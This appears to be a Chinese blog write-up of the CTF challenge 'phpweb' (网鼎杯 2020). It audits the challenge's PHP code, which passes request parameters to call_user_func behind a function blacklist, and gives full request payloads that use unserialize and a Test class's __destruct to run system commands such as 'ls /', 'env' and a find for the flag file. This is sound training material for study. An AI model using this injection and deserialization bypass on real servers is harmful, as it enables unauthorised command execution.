首页 > 编程语言 >[网鼎杯 2020 朱雀组]phpweb 详细题解(反序列化绕过命令执行)

[网鼎杯 2020 朱雀组]phpweb 详细题解(反序列化绕过命令执行)

时间:2024-11-26 17:32:48浏览次数:14  
标签:函数 gettime 题解 phpweb system flag func Test 序列化

知识点:

call_user_func() 函数
反序列化魔术方法
find命令查找flag
代码审计

打开题目,弹出上面的提示,是一个警告warning,而且页面每隔几秒就会刷新一次,根据warning中的信息以及信息中的时间一直在变,可以猜测是date()函数一直在被调用

查看源代码发现一些信息,但是作用不大

 bp抓包查看一下

func=date&p=Y-m-d+h%3Ai%3As+a   那么就是调用了date()函数并回显在页面上,参数func是函数名,p是参数值

既然可以执行date函数,那么是不是也可以执行其他函数呢?

而且date()函数是不会自动输出结果的 ,既然显示了时间那么应该有echo 之类输出的操作,可以随便尝试php的函数根据输出的内容来验证是否有命令执行

抓包修改参数,用简单的小写转换函数来验证   func=strtolower&p=AB

看到回显了ab 确实可以执行函数并回显结果

所以用system()函数执行命令  func=system&p=ls    提示     Hacker...   被禁止了

把ls 改为123 还是hacker 参数不影响,说明应该是system函数被过滤了

想办法查看文件的源码,可以用查看或者读取文件的函数 例如:file_get_contents()  highlight_file()   show_source()都可以
输入   func=file_get_contents&p=index.php  成功读取了index.php文件源码

代码审计:

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

代码禁用了非常多的函数,常见的命令执行函数都被禁止了

代码中定义了一个函数gettime 和 一个类Test 先不看这两部分,先看最后的代码

接收$func 和 $p参数,把$func转换为小写,然后判断是否在列出的禁止函数数组里面,如果不在,就调用gettime()函数,接着看gettime()函数

function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }

call_user_func 是 PHP 中的一个内置函数,用于调用回调函数,call_user_func函数返回回调函数的结果。如果回调函数没有返回值,则 call_user_func 也不会有返回值

其中$func 是回调函数名,$p是传递给回调函数的参数,结果赋值给$result 如果$result类型为string,返回结果

这里不知道flag文件的名字以及路径,所以直接用file_get_contents()函数读取到flag文件的概率太低,所以解题关键是使用命令执行函数找到flag,需要绕过黑名单限制从而执行命令

观察代码发现Test类还没有用到,对于Test类,代码中没有调用的操作,作用是赋值$func 和 $p 的值并且调用gettime()函数
注意类中的__destruct()函数,如果利用unserialize()函数反序列化一个Test类,在类里的参数中写入要执行的代码和函数,此时$disable_fun不会匹配unserialize函数,就会执行gettime函数,调用call_user_func($func, $p);执行反序列化操作
 __destruct()函数会在反序列化函数执行完之后触发,再次触发gettime($this->func, $this->p)函数,这时$func和$p的值是之前类中赋值过的内容,不会被匹配,就可以绕过黑名单中命令执行函数的限制,这里没有禁止unserialize反序列化函数,刚好可以使用

<?php
class Test{
    public $p="ls /";
    public $func="system";
}
$a=new Test();
echo serialize($a);
//结果: O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

传入func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

回显了根目录下的文件,但是没有发现flag文件,查看一下环境变量env

传入  func=unserialize&p=O:4:"Test":2:{s:1:"p";s:3:"env";s:4:"func";s:6:"system";}

 发现not_flag 那么flag应该是藏在某个目录下,使用find命令查找flag

构造system("find / -name *flag*")  用find查找所有文件名包含flag的文件

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:19:"find / -name *flag*";s:4:"func";s:6:"system";}


发现 /tmp/flagoefiu4r93,相较于其他路径较长的文件 和 系统proc目录下的文件 更加可疑

查看该文件,得到flag

标签:函数,gettime,题解,phpweb,system,flag,func,Test,序列化
From: https://blog.csdn.net/weixin_73904941/article/details/144030290

相关文章

  • PHP集成环境之PhpWebStudy安装与使用指南
     官网:https://www.macphpstudy.com/zh/什么是FlyEnv?​FlyEnv是一个集Web服务器/数据库服务器/开发环境管理于一体的GUI应用程序简而言之,FlyEnv提供了一套完整的运行环境。帮助用户开发和调试PHP/NodeJS/Java/Go/Python程序,如laravel/wordpress/yii2/thinkphp/fastadmin/......
  • PhpWebStudy运行Laravel
    创建Laravel项目​如果你想使用已存在的项目.你可以跳过此步骤.继续 创建站点你可以使用Composer创建Laravel项目shellcomposercreate-projectlaravel/laravelexample-app当然,FlyEnv也提供了快速创建laravel项目的方法。在站点面板中.点击'新建项目'选择项目保......
  • 【题解】洛谷P3674: 小清新人渣的本愿
    P3674小清新人渣的本愿自己想出来了,好耶!!其实和兔子洞那题差不多,标记哪些数区间中出现了,因为bitset就相当于状压,也是支持位运算的,所以减法相当于右移\(x\)位后与运算,如果有交说明可以得到\(x\),加法就要额外维护\(g=f_{N-i}\),查询时直接查找\(f\)与\(g\)右移\(N-x\)位......
  • 洛谷 P3524 [POI2011] IMP-Party 题解
    题意给定一个\(n\)个点的无向图,其中\(n\)是\(3\)的倍数。保证该图中含有一个\(\frac{2}{3}n\)个点的团。请你找出一个\(\frac{1}{3}n\)个点的团。\(1\leqn\leq3000\)。题解这种题想不出来是不是可以退役了团中任意两点间必有一条边。因此,如果\(u,v\)两点......
  • UOJ #919. 【UR #28】环环相扣 题解
    Description给定一个长度为\(n\)的整数序列\(a_1\sima_n\),其中的元素两两互不相等。有\(q\)个询问,每个询问给定一个区间\([l,r]\),你要选择三个下标\(i,j,k\in[l,r]\)满足\(i\neqj,j\neqk,k\neqi\),最大化\((a_i\bmoda_j)+(a_j\bmoda_k)+(a_k\bmoda_i)\)的值。......
  • Android中序列化方式:Serialzable接口、Parcelabel接口、Binder(一)
    Serializable接口Java提供的一个序列化空接口,为对象提供标准的序列化和反序列化操作,使用方法只需要在类的声明中指定一个标识publicclassUserimplementsSerializable{ privatestaticfinallongserialVersionUID=519067123721295773L; publicintuserId; pub......
  • 【题解】P4688 [Ynoi2016] 掉进兔子洞
    洛谷P4688[Ynoi2016]掉进兔子洞莫队配合bitset例题。lxl官方题解。https://olddrivertree.blog.uoj.ac/blog/4690想到如果只有每个数只出现一次怎么做,可以莫队移动区间用bitset维护每个数的是否出现,再对\(3\)个区间进行与操作就是交集出现的数。但是这只能求出数字......
  • 11.25 NOIP 模拟赛题解
    T1P1069[NOIP2009普及组]细胞分裂原题链接这道题就是基本的数学知识。我们直接来转化题意,这道题就是让我们求min⁡(k......
  • CF1753C题解
    鲜花被卡了一万年。考虑过序列变换的各种情况和逆序对,结果这俩情况状态太多,而且相同逆序对ans也不一定相同。/llsol我们最后想要的状态为所有\(0\)都在\(1\)的左边,令\(cnt_0\)为\(0\)的个数,\(cnt_1\)为\(1\)个数。\(cnt_0+cnt_1=n\),结束的状态前\(cnt_0\)个数......
  • P5572 [CmdOI2019] 简单的数论题 题解
    题目描述\(T\)组数据,给定\(n\gem\),求:\[\sum_{i=1}^n\sum_{j=1}^m\varphi(\frac{\text{lcm}(i,j)}{\gcd(i,j)})\\\]对\(23333\)取模。数据范围\(1\leT\le3\cdot10^4,1\lem\len\le5\cdot10^4\)。时间限制\(\texttt{2s}\),空间限制\(\texttt{128......